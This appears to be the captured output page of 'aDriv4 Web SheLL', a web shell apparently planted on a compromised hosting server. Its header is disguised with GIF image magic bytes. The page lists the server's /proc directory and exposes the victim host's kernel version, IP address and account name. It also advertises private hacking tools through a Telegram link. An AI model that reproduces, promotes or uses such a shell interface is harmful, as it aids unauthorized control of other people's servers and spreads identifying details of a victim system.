GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.114.248
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
2545003 dir - smilmoju/smilmoju 0555 2025-07-13 07:11:21
3497631 dir - smilmoju/smilmoju 0555 2025-07-13 07:11:21
3509913 dir - smilmoju/smilmoju 0555 2025-07-13 07:11:21
3524736 dir - smilmoju/smilmoju 0555 2025-07-13 07:11:29
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-13 07:11:46
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-13 07:11:46
lve dir - root/root 0555 2025-07-13 07:11:25
net link - smilmoju/smilmoju 0555 2025-07-13 07:11:46
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - smilmoju/smilmoju 0555 2025-07-13 07:11:29
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-13 07:11:46
thread-self link - smilmoju/smilmoju 0555 2025-07-13 07:11:31
tty dir - root/root 0555 2025-07-13 07:11:24
buddyinfo 0 B root/root 0444 2025-07-13 07:11:46
cgroups 0 B root/root 0444 2025-07-13 07:11:46
cmdline text/plain 0 B root/root 0444 2025-07-13 07:11:22
consoles 0 B root/root 0444 2025-07-13 07:11:46
cpuinfo text/plain 0 B root/root 0444 2025-07-13 07:11:25
crypto 0 B root/root 0444 2025-07-13 07:11:46
devices 0 B root/root 0444 2025-07-13 07:11:30
diskstats 0 B root/root 0444 2025-07-13 07:11:28
dma 0 B root/root 0444 2025-07-13 07:11:46
execdomains 0 B root/root 0444 2025-07-13 07:11:46
fb 0 B root/root 0444 2025-07-13 07:11:46
filesystems text/plain 0 B root/root 0444 2025-07-13 06:59:40
interrupts 0 B root/root 0444 2025-07-13 07:11:25
iomem 0 B root/root 0444 2025-07-13 07:11:46
ioports 0 B root/root 0444 2025-07-13 07:11:46
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-13 07:11:46
keys 0 B root/root 0444 2025-07-13 07:11:46
kmsg 0 B root/root 0400 2025-07-13 07:11:46
kpagecgroup 0 B root/root 0400 2025-07-13 07:11:46
kpagecount 0 B root/root 0400 2025-07-13 07:11:46
kpageflags 0 B root/root 0400 2025-07-13 07:11:46
loadavg text/plain 0 B root/root 0444 2025-07-13 07:11:28
locks 0 B root/root 0444 2025-07-13 07:11:46
mdstat 0 B root/root 0444 2025-07-13 07:11:46
meminfo text/plain 0 B root/root 0444 2025-07-13 07:00:12
misc 0 B root/root 0444 2025-07-13 07:11:46
modules 0 B root/root 0444 2025-07-13 07:11:46
mounts text/plain 0 B smilmoju/smilmoju 0444 2025-07-13 07:11:46
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-13 07:11:46
partitions 0 B root/root 0444 2025-07-13 07:11:46
sched_debug 0 B root/root 0444 2025-07-13 07:11:46
schedstat 0 B root/root 0444 2025-07-13 07:11:46
slabinfo 0 B root/root 0400 2025-07-13 07:11:46
softirqs 0 B root/root 0444 2025-07-13 07:11:46
stat text/plain 0 B root/root 0444 2025-07-13 07:00:12
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-13 07:11:46
uptime text/plain 0 B root/root 0444 2025-07-13 07:00:12
version text/plain 0 B root/root 0444 2025-07-13 07:11:46
vmallocinfo 0 B root/root 0400 2025-07-13 07:11:46
vmstat 0 B root/root 0444 2025-07-13 07:11:28
zoneinfo 0 B root/root 0444 2025-07-13 07:11:46
© aDriv4